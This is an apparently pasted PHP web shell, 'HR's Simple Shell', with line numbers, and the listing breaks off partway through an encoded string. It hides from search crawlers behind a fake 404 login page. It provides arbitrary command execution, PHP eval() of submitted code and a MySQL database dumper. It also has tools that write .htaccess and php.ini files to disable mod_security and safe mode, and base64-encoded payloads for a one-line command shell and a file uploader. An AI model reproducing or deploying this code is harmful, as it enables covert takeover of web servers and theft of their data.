· 9 years ago · Feb 07, 2017, 01:30 PM
1<?php
2//Keep Google from finding our shell
3if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
4 header('HTTP/1.0 404 Not Found');
5 exit;
6}
7//Current Version of HoodedRob1n's Simple Shell
8$hrver = "v1.0 PRIv8 Beta";
9$self = $_SERVER['PHP_SELF'];
10//simple authentication page
11//authentication password
12$admin_pass = 'Sup3rS3cr3t';
13
14//start
15session_start();
16$is_admin = false;
17
18//auth check
19if ((@$_SESSION['adminpass'] === md5($admin_pass)) or (@$_POST['password'] == $admin_pass)) {
20 $is_admin = true;
21 $_SESSION['adminpass'] = md5($admin_pass);
22}
23if (isset($_POST['logout'])) {
24 alert("Cee U L8r Alig8r :p");
25 $is_admin = false;
26 unset ($_SESSION['adminpass']);
27 // we'll clear the adminpass session variable to logout user properly but we keep any other settings :)
28}
29if ($is_admin !== true) {
30/* bad password if is_admin returns false at this point so let them know */
31 if (isset($_POST['password'])) {
32 alert("Get Lost Fucker");
33 die('<br /><br /><br /><big><strong><center><blink>Epic Failure!</blink></center></strong></big>');
34}
35/* no password entered */
36
37//password form setup for actual login screen which will present the fake 404 error message with login found centered on page
38echo "<head><title>HR's Simple Shell Login</title></head>";
39echo "<h1>Not Found</h1>";
40echo "<p>The requested URL was not found on this server.</p><hr />";
41echo "<address>Apache Server at " . $_SERVER['HTTP_HOST'] . " Port 80</address>";
42echo "<style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style>";
43echo "<center>";
44echo "<form name='adminform' method='post' action='$self'>";
45echo "<input type='password' size='42' name='password' value=''></form></center>";
46echo "</center>";
47die();
48}
49
50
51
52//establish global variables
53$self = $_SERVER["PHP_SELF"];
54$selfscript = $_SERVER["SCRIPT_NAME"];
55$page = (isset($_GET['page']) ? $_GET['page'] : 'home');
56$ip = $_SERVER['SERVER_ADDR'];
57$remote_ip = $_SERVER['REMOTE_ADDR'];
58$host = $_SERVER['HTTP_HOST'];
59$srvsw = php_uname();
60$srvname = $_SERVER['SERVER_NAME'];
61$os = "Unknown";
62$slash = '/'; // Default Directory separator
63
64
65//CREATE AN ALERT() FUNCTION - will js alert what ever value you give the variable $text at the time it is "alert(called)"
66//this is just function creation, call it later how you want and with $text defined as needed for the moment....
67function alert($text){
68echo "<script>alert('".$text."')</script>";
69}
70
71
72//Determine OS as Winblows or *nix based - and if Winblows reset the slash directory separator to \\ so we can play nice with Winblows naming conventions
73if(stristr(php_uname(),"Windows"))
74{
75 $slash = '\\';
76 $os = "Windblows";
77}
78else if(stristr(php_uname(),"Linux"))
79{
80 $os = "Linux";
81}
82
83//check for SAFE MODE
84if(ini_get('safe_mode')){
85$safechk="<font color='red'>On</font>";
86}else{
87$safechk="<font color='green'>Off</font>";
88}
89
90//check what functions are available
91if(ini_get('disable_functions')){
92$availablef=ini_get('disable_functions');
93}else{
94$availablef="All Functions Enabled";
95}
96
97//determine method for executing commands:
98if( is_callable("system")) { $selfthod = "system"; } elseif
99 ( is_callable("passthru")) { $selfthod = "passthru"; } elseif
100 ( is_callable("exec")) { $selfthod = "exec"; } elseif
101 (($btres = `ls -a`) != FALSE) { $selfthod = "backticks"; }
102 else { $selfthod = "fail"; }
103
104//function to help us properly return the size results in readable form
105function sizee($size)
106{
107 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
108 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
109 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
110 else {$size = $size . " B";}
111 return $size;
112}
113
114
115//Check registered globals, ability to use cURL, and a final check to see which Database Managent System or DBMS are in use or available (checks for MySQL, MS-SQL, PostgresSQL, and Oracle)
116if(ini_get('register_globals')){
117$registerg="Enabled";
118}else{
119$registerg="Disabled";
120}
121if(extension_loaded('curl')){
122$curls="<font color='green'>Enabled</font>";
123}else{
124$curls="<font color='red'>Disabled</font>";
125}
126if(@function_exists('mysql_connect')){
127$db_on = "<font color='blue'>Mysql: </font><font color='green'>On</font>";
128};
129if(@function_exists('mssql_connect')){
130$db_on = "<font color='blue'>Mssql: </font><font color='green'>On</font>";
131};
132if(@function_exists('pg_connect')){
133$db_on = "<font color='blue'>PostgreSQL: </font><font color='green'>On</font>";
134};
135if(@function_exists('ocilogon')){
136$db_on = "<font color='blue'>Oracle: </font><font color='green'>On</font>";
137};
138
139//Start Svisual part
140echo "<title>HR's Simple Shell</title>";
141echo "<center>";
142echo "<font color='#E41B17' face='Webdings' size='6'>~</font>";
143echo "<font color='#F62217' face='Webdings' size='6'>~</font>";
144echo "<font color='red' face='Webdings' size='6'>~</font>";
145echo "<font color='red' face='Courier New' size='5'>";
146echo "<marquee behavior='scroll' direction='left' scrollamount='2' width='26%'>";
147echo "<span class='footerlink'><b>Welcome to Hood3dRob1n's Simple Shell</b></span>";
148echo "</marquee>";
149echo "</font>";
150echo "<font color='red' face='Webdings' size='6'>~</font>";
151echo "<font color='#F62217' face='Webdings' size='6'>~</font>";
152echo "<font color='#E41B17' face='Webdings' size='6'>~</font>";
153echo "</center>";
154
155//TOOL LINKS
156//using tables again to keep it clean since I dont have CSS :(
157echo "<a name='quicklinks'></a>";
158echo "<center><table width='100%' border='1' cellpadding='0'><tr>";
159echo "<th colspan='13'><center><b><font color='red'> QUICK LINKS: </font></b></center></th></tr><tr>";
160echo "<td><center><form name='home' action='?page=home' method='get' style='margin-bottom:0;'><input type='submit' value='HOME'></form></center></td>";
161echo "<td><center><form name='cmd' action=#command method='get' style='margin-bottom:0;'><input type='submit' value='CMD'></form></center></td>";
162echo "<td><center><form name='fwriter' action=#fcreator method='get' style='margin-bottom:0;'><input type='submit' value='FILE WRITER'></form></center></td>";
163echo "<td><center><form name='symlinker' action=#symlink method='get' style='margin-bottom:0;'><input type='submit' value='SYMLINKER'></form></center></td>";
164echo "<td><center><form name='uploader' action=#uploader method='get' style='margin-bottom:0;'><input type='submit' value='UPLOADER'></form></center></td>";
165echo "<td><center><form name='phpeval' action=#phpeval method='get' style='margin-bottom:0;'><input type='submit' value='PHP EVAL()'></form></center></td>";
166echo "<td><center><form name='phpeval' action=#sfbypass_tools method='get' style='margin-bottom:0;'><input type='submit' value='BYPASS TOOLS'></form></center></td>";
167//NOTE: form and url encoding seems to mess up these two which work as hyperlinks so instead of recoding the form to include hidden fields with set values we will use type=button and onlick to get the same result as the form buttons used elsewhere. This allows us to hide the phpinfo() results which take up a huge amount of space and to keep SQL tools separate so they dont get clagged with all the other data and tools (My preference)
168echo "<td><center><input type='button' onclick=\"location.href='?page=dump';\" value='MySQL DB Dumper'/></center></td>";
169echo "<td><center><input type='button' onclick=\"location.href='?page=pinfo';\" value='PHPINFO()'/></center></td>";
170echo "<td><center><form name='logout' action='$self' method='post' style='margin-bottom:0;'><input type='submit' value='Logout This Bitch' name='logout'></form></td>";
171echo "<td><center><form name='selfremove' action='?page=removal' method='get' style='margin-bottom:0;'><input type='submit' value='SELF REMOVAL'></form></center></td>"; //Need to press this button twice to take full affect...
172echo "</tr></table></center>";
173//End Tool Links
174echo "<hr />";
175
176//Floating Arrow to allow users to return to top of page easily
177echo "<a style='display:scroll;position:fixed;bottom:5px;right:5px;' href='#' title='2theTOP'><img src='http://i.imgur.com/JKt0k.jpg'/></a>";
178
179//Display Basic Info about the system
180//use tables to make things fit pretty like on either side of the page with a single line
181//have to use tables without any CSS :(
182// dont forget to moev the </table> if you add more touch up to this section, also watch line breaks and table row/data endings which can mess up formatting
183echo "<table width='100%' border='1'><tr><th colspan='2'><center><b><font color='red'> SYSTEM INFO </font></b></center></th></tr><tr>";
184echo "<td align='left'><b>HR's Simple Shell: <font color='red'>" . $hrver . "</font></b></td>";
185echo "<td align='right'><b><font color='green'>" . $remote_ip . "</font>:Your IP?</b></td></tr>";
186echo "<td align='left'><b>System Type: <font color='red'>" . $os . "</font></b>";
187echo "<td align='right'><b><font color='red'>" . $ip . "</font>:Server IP</b></td></tr>";
188echo "<td align='left'><b>OS Details: <font color='red'>" . $srvsw . "</font></b>";
189echo "<td align='right'><b><font color='red'>" . $srvname . "</font>:Server Name</b></td></tr>";
190echo "<td align='left'><b>Total Space: <font color='red'>" . sizee(disk_total_space("/")) . "</font></b>";
191echo "<td align='right'><b><font color='red'>" . $host . "</font>:Host</b></td></tr>";
192echo "<td align='left'><b>Free Space: <font color='red'>" . sizee(disk_free_space("/")) . "</font></b>";
193echo "<td align='right'><b><font color='red'>" . $_SERVER['SERVER_ADMIN'] . "</font>:Server Admin</b></td></tr>";
194echo "<td align='left'><b>Register_Globals: <font color='red'>" . $registerg . "</font></b>";
195echo "<td align='right'><b><font color='red'>" . $availablef . "</font>:Functions Available</b></td></tr>";
196echo "<td align='left'><b>Safe_Mode: <font color='red'>" . $safechk . "</font></b>";
197echo "<td align='right'><b><font color='red'>" . $curls . "</font>:Curl Enabled</b></td></tr>";
198echo "<td align='left'><b>PHP: <font color='red'>" . phpversion() . "</font></b>";
199echo "<td align='right'><b><font color='red'>" . $db_on . "</font>:Database Options</b></td></tr>";
200echo "<td align='left'><b>Current Directory: <font color='red'>" . getcwd() . "</font></b>";
201echo "<td align='right'><b><font color='red'>" . "TBD..." . "</font>:Available Drives</b></td></tr>";
202
203echo "</table>";
204echo "<hr />";
205//end info section
206
207
208//Handle GET Requests generated by the Links section (also allows us to hide a few sections unless clicked on :)
209//SELF REMOVAL
210//We use unlink() to remove the current file ($_Server['Script_Name']) and we build the path with getcwd() and our $slash variable from beginning
211if( $page == 'removal'){
212unlink(getcwd().$slash.$_SERVER["SCRIPT_NAME"]);
213}
214//simple as that
215
216//handle request for phpinfo()
217if( $page == 'pinfo'){
218 echo "<br /><center><b><font color='red'> Results for phpinfo()... </font></b></center><br />";
219 phpinfo();
220 echo "<br />";
221 echo "<hr />";
222}
223//end PHPINFO() Tool
224
225
226//MySQL DB DUMPER TOOL
227if ($page == "dump"){
228 //echo $head;
229 echo '<p align="center">';
230 echo '<table border=1 width=400 style="border-collapse: collapse" bordercolor=#C6C6C6 cellpadding=2><tr><td width=400 colspan=2 bgcolor=#F2F2F2><p align=center><b><font face=Arial size=2 color=#433934>Backup Database</font></b></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>DB Type:</font></td><td width=250 bgcolor=#EAEAEA><form method=post action="'.$_SERVER['PHP_SELF'].'"><select name=method><option value="gzip">Gzip</option><option value="sql">Sql</option> </select></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Server:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=server size=35></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Username:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=username size=35></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Password:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=password></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Data Base Name:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=dbname></td></tr><tr><td width=400 colspan=2 bgcolor=#EAEAEA><center><input type=submit value=" Dump! " ></td></tr></table></form></center></table><br /><br /><center><FORM METHOD="get" ACTION="?page=home"><INPUT TYPE="submit" VALUE="RETURN HOME"></FORM></center>';
231 //echo $end;
232 exit;
233}
234//take details from form above and now use them to work the MySQL magic
235if (isset($_POST['username']) && isset($_POST['dbname']) && isset($_POST['method'])){
236 $date = date("Y-m-d");
237 $dbserver = $_POST['server'];
238 $dbuser = $_POST['username'];
239 $dbpass = $_POST['password'];
240 $dbname = $_POST['dbname'];
241 $file = "Dump-$dbname-$date";
242 $method = $_POST['method'];
243 if ($method=='sql'){
244 $file="Dump-$dbname-$date.sql";
245 $fp=fopen($file,"w");
246 }else{
247 $file="Dump-$dbname-$date.sql.gz";
248 $fp = gzopen($file,"w");
249 }
250
251 function write($data, $fp) {
252
253 if ($_POST['method']=='sql'){
254 if(!@fwrite($fp,$data))
255 {
256 echo "<br /> Failed to write. Expects parameter 1 to be resource, received boolean";
257 }
258 }else{
259 if(!@gzwrite($fp, $data))
260 {
261 echo "<br />Failed to write: Permission Denied!<br />";
262 }
263 }
264 }
265
266 mysql_connect ($dbserver, $dbuser, $dbpass);
267 mysql_select_db($dbname);
268 $tables = mysql_query ("SHOW TABLES");
269 while ($i = mysql_fetch_array($tables)) {
270 $i = $i['Tables_in_'.$dbname];
271 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
272 write($create['Create Table'].";\n\n");
273 $sql = mysql_query ("SELECT * FROM ".$i);
274 if (mysql_num_rows($sql)) {
275 while ($row = mysql_fetch_row($sql)) {
276 foreach ($row as $j => $k) {
277 $row[$j] = "'".mysql_escape_string($k)."'";
278 }
279 write("INSERT INTO $i VALUES(".implode(",", $row).");\n", $fp);
280 }
281 }
282 }
283 if ($method=='sql'){
284 fclose ($fp);
285 }else{
286 if(!@gzclose($fp))
287 {
288 echo "<br /> Failed to gzclose, gave it a boolean value and it expects a resource";
289 }
290 }
291 header("Content-Disposition: attachment; filename=" . $file);
292 header("Content-Type: application/download");
293 header("Content-Length: " . filesize($file));
294 flush();
295
296 $fp = fopen($file, "r");
297 while (!feof($fp))
298 {
299 if(gettype($fp) == "boolean")
300 {
301 break;
302 }
303 echo fread($fp, 65536);
304 flush();
305 }
306 fclose($fp);
307}
308
309//UPGRADE TO THIS EVENTUALLY:
310
311//Hanndle for MySQL DB DUMPER Tool
312//SQL DUMPER, slightly borrowed from ITSecTeam
313if( $page == "sqlDUMP")
314{
315//use tables again to keep formatting pretty, build forms within the table structure :p
316 echo "<center><table width='100%' border='1'>";
317 echo "<tr><th colspan='1' ><center><b><font color='red'> MySQL DATABASE DUMPER </font><b><br /><br /><sub><font color='grey'> Please choose desired file format for DB dump, provide proper credentials to make connection, and hit the DUMP button...Enjoy!</sub></font></center></th></tr>";
318 echo "<tr><td><center><form action='$self' method='post'>";
319 echo "<center><input type='radio' name='sqlmeth' value='1' /><b><font color='red'> Dump Database to .SQL file format </b></font></center><br />";
320 echo "<center><input type-'radio' name='sqlmeth' value='2' /><b><font color='red'> Dump Database to .GZIP file format </b></font></center></td></tr>";
321 echo "<tr><td><cemter><font color='red'>Server: </font></td><td><input type='text' name='sqlserver' size='50' value'localhost'></center></td></tr>";
322 echo "<tr><td><center><font color='red'>Database Username: </font></td><td><input type='text' name='sqluser' size='50'></center></td></tr>";
323 echo "<tr><td><center><font color='red'>Database Password: </font></td><td><input type='text' name='sqlpass' size='50'></center></td></tr>";
324 echo "<tr><td><center><font color='red'>Database Name: </font></td><td><input type='text' name='sqldb' size='50'></center></td></tr>";
325 echo "<tr><td><center><input type='submit' value='Dump That Shit!'></td></tr>";
326 echo "</table></center><br /><hr />";
327}
328//handle the requests made by the forms in the above which will affect the paramets passed to the MySQL connect & dump script below
329//If all methods are provided
330if (isset($_POST['sqluser']) && isset($_POST['sqldb']) && isset($_POST['sqlmeth']))
331{
332 //establish a few variables based on arguments passed from forms
333 $dbsrvr = $_POST['sqlserver'];
334 $dbusr = $_POST['sqluser'];
335 $dbpasswd = $_POST['sqlpass'];
336 $dbname = $_POST['sqldb'];
337 $file = "$dbname-DUMPED";
338 $method = $_POST['sqlmeth'];
339 //if SQL make .SQL file else write a .sql.gz file format
340 if ($method=='sql'){
341 $file="$dbname-DUMPED.sql";
342 $fp=fopen($file,"w");
343 }else{
344 $file="$dbname-DUMPED.sql.gz";
345 $fp = gzopen($file,"w");
346 }
347//create and define our custom function write() which handles the actual file writing function based on user decision made, either fwrite() for .sql or gzwrite() for .sql.gz
348 function write($data)
349 {
350 global $fp;
351 if ($_POST['sqlmeth']=='sql'){
352 fwrite($fp,$data);
353 }else{
354 gzwrite($fp, $data);
355 }
356 }
357 //establish connection to mysql database based upon the credentials set based on user provided info from forms
358 mysql_connect ($dbsrvr, $dbusr, $dbpasswd);
359 //select the user defined database by dbName so we can then execute commands against the specified DB
360 mysql_select_db($dbname);
361 //establish the results of the SHOW TABLES mysql command as a variable $tables
362 $tables = mysql_query ("SHOW TABLES");
363 //we enumerate each table and using our custom function write() we write the returned $data to our $file...
364 //we create an array out of the available tables, then use mysql commands to find the commands to create the tables themselves (i.e. columns and data types), then we enumerate all entries from each table which is now a variable in our "i" array which is made of the table names. Then as long as rows return we loop though and write all of the entries to our file using method defined in form (either .sql or .sql.gz)
365 while ($i = mysql_fetch_array($tables))
366 {
367 $i = $i['Tables_in_'.$dbname];
368 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
369 write($create['Create Table'].";\n\n");
370 $sql = mysql_query ("SELECT * FROM ".$i);
371 if (mysql_num_rows($sql)) {
372 while ($row = mysql_fetch_row($sql))
373 {
374 foreach ($row as $j => $k)
375 {
376 $row[$j] = "'".mysql_escape_string($k)."'";
377 }
378 write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
379 }
380 }
381 }
382 //close out our file writes appropriately to avoid issues and clean up
383 if ($method=='sql')
384 {
385 fclose ($fp);
386 }
387 else
388 {
389 gzclose($fp);
390 }
391 header("Content-Disposition: attachment; filename=" . $file);
392 header("Content-Type: application/download");
393 header("Content-Length: " . filesize($file));
394 flush();
395
396 $fp = fopen($file, "r");
397 while (!feof($fp))
398 {
399 echo fread($fp, 65536);
400 flush();
401 }
402 fclose($fp);
403}
404
405//END DB DUMPER TOOL
406echo "<br />";
407echo "<hr />";
408//End of Tool and HIdden Features available by link only
409
410//End DB DUmper Tool
411
412
413
414//Start Visual Area BElow Links
415// create our form for user to submit commands through
416echo "<center><a name='command'><font color='red'><b>COMMAND EXECUTION</b></font></a><br />";
417echo "<form method='post' action='$self'><br />";
418echo "<b><font color='red'>Enter Command to Execute: </font></b> <input type='text' size='70%' AUTOFOCUS name='cmd'> <input type='submit' value='Execute Command!'>";
419echo "</form>";
420echo "<sub><font color='grey'>Since we are passing comamnds you wont change directories so chain commands together using the double ampersand sign '&&' and you should be able to then get and do anything you want :)</font></sub><br />";
421echo "<textarea style='color:red' rows=15 cols=100>";
422
423 //Exectue commands
424if(isset($_POST['cmd']))
425{
426 $cmd = $_POST['cmd'];
427 switch($selfthod)
428 {
429 case "system":
430 system($cmd);
431 break;
432 case "passthru":
433 passthru($cmd);
434 break;
435 case "exec":
436 exec($cmd);
437 break;
438 case "backticks":
439 $execmd = `$cmd`;
440 echo $execmd;
441 break;
442 case "fail":
443 echo "Epic Failure!";
444 break;
445 }
446 //Possible replacement to switch method above for executing commands as not sure if this is actually working or not
447 //would also require removing the check at top of page as well as this is standalone based $cmd variable passing content and check being run withoutput displayed
448 /*
449 global $disablefunc;
450 $result = "";
451 if (!empty($cmd))
452 {
453 if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
454 elseif (($result = `$cmd`) !== FALSE) {}
455 elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
456 elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
457 elseif (is_resource($fp = popen($cmd,"r")))
458 {
459 $result = "";
460 while(!feof($fp)) {$result .= fread($fp,1024);}
461 pclose($fp);
462 }
463 }
464 */
465}
466echo "</textarea></center><br />";
467//End COMMAND EXECUTION tool
468echo "<br />";
469echo "<hr />";
470
471
472
473//handle request for EVAL()
474echo "<a name='phpeval'></a>";
475echo "<br /><center><b><font color='red'> PHP EVAL() </font></b></center>";
476echo "<br /><center><b><font color='grey'><sub> Please enter your PHP code below without start or end tags and submit to execute </sub></font></b></center><br />";
477
478//create form for user to submit code through
479print "<center><form action='?page=eval' method='post'><textarea cols=60 rows=10 name='eval'>";
480
481//we set it with a basic command to test usage and show funcionailty for first time users - it prints "Testing..Testing....Testing-1-2-3" ;)
482//user can replace with their own code and do as they like, this is just a place holder to provide an example...
483//if its set then print it if not then insert our preset simple print command in text area to show example
484if(isset($_POST['eval']))
485{
486print htmlspecialchars($_POST['eval']);
487} else {
488print "print 'Testing..Testing...Testing-1-2-3';";
489}
490//close text area and create submit button
491print "</textarea><br><input type=submit value='Eval Your Code'></form><br />";
492echo "<b><sub><font color='grey'>Your code will be executed upon submission via the PHP eval() funtion. If results are returned then they will be displayed below...</font></sub></b><br /><br />";
493
494//if we get the submit posting the user supllied eval code we will then execute it via the PHP eval() function
495//allows for quick and dirty PHP execution & scripting for whatever you may want to use it for
496if(isset($_POST['eval']))
497{
498print "<b><font color='red'> Output: </font><b>";
499print "<br /><font color='green'>";
500
501eval($_POST['eval']);
502}
503//end EVAL() Tool
504echo "</font><br /></center>";
505echo "<hr />";
506//end tool
507
508//start FILE BUILDER tool
509echo "<table width='100%' border='1'>";
510echo "<th><center><a name='fcreator'><b><font color='red'> FILE CREATOR </font></a></b></th>";
511echo "<tr>";
512echo "<td>";
513echo "<br /><center><b><font color='grey'>Please select which file you would like to create:</font><b></center>";
514//Now we lay out the radio buttons for our form so the user can select which .htaccess file they want to create
515echo "<center><form action='$self' method='post'>";
516echo "<select name='htmeth'>";
517echo "<label><b><font color='grey'>Please select which file you would like to create:</font><b></label>";
518echo "<option value='1' selected='selected'><b><font color='red'>Simple .htaccess to enable symlinks and indexing</font></b></option>";
519echo "<option value='2'><b><font color='red'>HR's Custom .htaccess file</font></b></option>";
520echo "<option value='3'><b><font color='red'>Simple .htaccess to turn off Mod Security</font></b></option>";
521echo "<option value='4'><b><font color='red'>Write PHP.ini File to Turn Safe Mode OFF and Enable All Functions in Current Directory</font></b></option>";
522echo "<option value='5'><b><font color='red'>Write Simple Command Shell to directory below</font></b></option>";
523echo "<option value='6'><b><font color='red'>Write an uploader page to the directory below</font></b></option>";
524echo "</select>";
525echo "<input type='submit' name='submit' value='Create File'/>";
526echo "</form></center>";
527echo "<center><font color='grey'><b>NOTE:</b> The simple .htaccess file will work in most cases for symlinking, but if you plan to use additional CGI tools you might want to use the full option</font></center><br />";
528
529//set our content for our two .htaccess files
530$htopt1 = "Options +Indexes +FollowSymLinks\n\nDirectoryIndex lulz.htm";
531$htopt2 = "Options +Indexes +MultiViews +FollowSymLinks -SymLinksIfOwnerMatch +ExecCGI\n\nDirectoryIndex index.html index.php index.htm\n\n<IfModule mod_autoindex.c>\n IndexOptions FancyIndexing IconHeight=16 IconWidth=16\n</IfModule>\n\n<FilesMatch '\.(php|php5|phtml)$'>\n SetHandler application/x-http-php\n</FileMatch\n\n<FilesMatch '\.(pl|cgi|cc|izri)$'>\n SetHandler application/x-http-cgi\n</FileMatch\n\nRewriteEngine on\nRewriteRule (.*) index.php";
532$htopt3 = "<IfModule mod_security.c>\n Sec------Engine Off\n Sec------ScanPOST Off\n</IfModule>\n";
533$htopt4 = "safe_mode=OFF \n disable_functions=NONE \n";
534
535//handle user input on choice of .htaccess file to write and write accordingly (options outlined above)
536if(isset($_POST['htmeth']) && $_POST['htmeth'] == '1')
537{
538 $htfile = getcwd() . $slash . ".htaccess";
539 $HT1=fopen(".htaccess","w");
540 fwrite($HT1,$htopt1,strlen($htopt1));
541 fclose($HT1);
542
543 //tell them to check manually to confirm it was created, maybe in future will automate this step...
544 echo "<center><b><font color='red'>Check current directory to confirm .htaccess file was properly created: </font><font color='green'>" . getcwd() . $slash . ".htaccess</b></font></center><br />";
545}
546if(isset($_POST['htmeth']) && $_POST['htmeth'] == '2')
547{
548 $htfile = getcwd() . $slash . ".htaccess";
549 $HT2=fopen(".htaccess","w");
550 fwrite($HT2,$htopt2,strlen($htopt2));
551 fclose($HT2);
552
553 //tell them to check manually to confirm it was created, maybe in future will automate this step...
554 echo "<center><b><font color='red'>Check current directory to confirm .htaccess file was properly created: </font><font color='green'>" . getcwd() . $slash . ".htaccess</b></font></center><br />";
555}
556if(isset($_POST['htmeth']) && $_POST['htmeth'] == '3')
557{
558 $htfile = getcwd() . $slash . ".htaccess";
559 $HT3=fopen(".htaccess","w");
560 fwrite($HT3,$htopt3,strlen($htopt3));
561 fclose($HT3);
562
563 //tell them to check manually to confirm it was created, maybe in future will automate this step...
564 echo "<center><b><font color='red'>Check current directory to confirm .htaccess file was properly created: </font><font color='green'>" . getcwd() . $slash . ".htaccess</b></font></center><br />";
565}
566if(isset($_POST['htmeth']) && $_POST['htmeth'] == '4')
567{
568 $htfile = getcwd() . $slash . ".htaccess";
569 $HT4=fopen("php.ini","w");
570 fwrite($HT4,$htopt4,strlen($htopt4));
571 fclose($HT4);
572
573 //tell them to check manually to confirm it was created, maybe in future will automate this step...
574 echo "<center><b><font color='red'>Check current directory to confirm PHP.INI file was properly created: </font><font color='green'>" . getcwd() . $slash . "php.ini</b></font></center><br />";
575}
576//set our content for our SHELL & UPLOADER files
577//SHELL = simple passthru($_GET['cmd']) shell
578$fopt1 = "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+";
579//Zer0Lulz uploader script
580$fopt2 = "PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9F?TiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQi?Pgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgogICA8bWV0?YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYt?OCIgLz4KICAgPHRpdGxlPlplcjBMdWx6IFVwbG9hZGVyPC90aXRsZT4KICAgPGxpbmsgaHJlZj0ic3R5?bGUvc3R5bGUuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiAvPgo8L2hlYWQ+Cgo8?Ym9keSBiZ2NvbG9yPSJCbGFjayIgbGluaz0iIzAwRkYwMCIgYWxpbms9IiMxOEI4MjYiIHZsaW5rPSIj?ODRGRjAwIiBmb250IGNvbG9yPSIwMEZGMDAiPgo8U1RZTEU+CmlucHV0ewpiYWNrZ3JvdW5kLWNvbG9y?OiAjMDBGRjAwOwp9CjwvU1RZTEU+Cjw/cGhwCiAgICAkbXlVcGxvYWQgPSBuZXcgbWF4VXBsb2FkKCk7IAogICAgLy8kbXlVcGxvYWQtPnNldFVw?bG9hZExvY2F0aW9uKGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1IpOwogICAgJG15VXBsb2FkLT51?cGxvYWRGaWxlKCk7Cj8+Cjw/cGhwCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCiAqIFpl?cjBMdWx6IFVwbG9hZGVyCiAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq?KioqKioqKioqLwpjbGFzcyBtYXhVcGxvYWR7CiAgICB2YXIgJHVwbG9hZExvY2F0aW9uOwogICAgCiAg?ICBmdW5jdGlvbiBtYXhVcGxvYWQoKXsKICAgICAgICAkdGhpcy0+dXBsb2FkTG9jYXRpb24gPSBnZXRj?d2QoKS5ESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgfQoKICAgIGZ1bmN0aW9uIHNldFVwbG9hZExvY2F0?aW9uKCRkaXIpewogICAgICAgICR0aGlzLT51cGxvYWRMb2NhdGlvbiA9ICRkaXI7CiAgICB9CiAgICAK?ICAgIGZ1bmN0aW9uIHNob3dVcGxvYWRGb3JtKCRtc2c9JycsJGVycm9yPScnKXsKPz4KCQkJPGJyPgoJ?CQk8YnI+CgkJCTxjZW50ZXI+PGZvbnQgY29sb3I9IjAwRkYwMCI+ICArLSstKy0rLSstKy0rLSstKyAr?LSstKy0rLSstKy0rLSstKwogIHxafGV8cnwwfEx8dXxsfHp8IHxVfHB8bHxvfGF8ZHxlfHJ8CiAgKy0r?LSstKy0rLSstKy0rLSsgKy0rLSstKy0rLSstKy0rLSs8L2ZvbnQ+PC9jZW50ZXI+CgkJCTxicj4KCQkJ?PGJyPgo8P3BocAppZiAoJG1zZyAhPSAnJyl7CiAgICBlY2hvICc8cCBjbGFzcz0ibXNnIj4nLiRtc2cu?JzwvcD4nOwp9IGVsc2UgaWYgKCRlcnJvciAhPSAnJyl7CiAgICBlY2hvICc8cCBjbGFzcz0iZW1zZyI+?Jy4kZXJyb3IuJzwvcD4nOwoKfQo/PgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVs?dGlwYXJ0L2Zvcm0tZGF0YSIgPgogICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPgogICAgICAgICAg?ICAgICAgICAgICAgICAgPGxhYmVsPjxmb250IGNvbG9yPSIwMEZGMDAiPiBQaWNrIFlvdXIgUG9pc29u?OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJteWZpbGUiIHR5cGU9ImZp?bGUiIHNpemU9IjMwIiAvPjwvZm9udD4KICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGFiZWw+CiAg?ICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg?PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0QnRuIiBjbGFzcz0ic2J0biIgdmFsdWU9IlVw?bG9hZCB0aGF0IHNoaXQhIiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgPC9sYWJlbD4KICAgICAg?ICAgICAgICAgICAgICAgPC9jZW50ZXI+CiAgICAgICAgICAgICAgICAgPC9m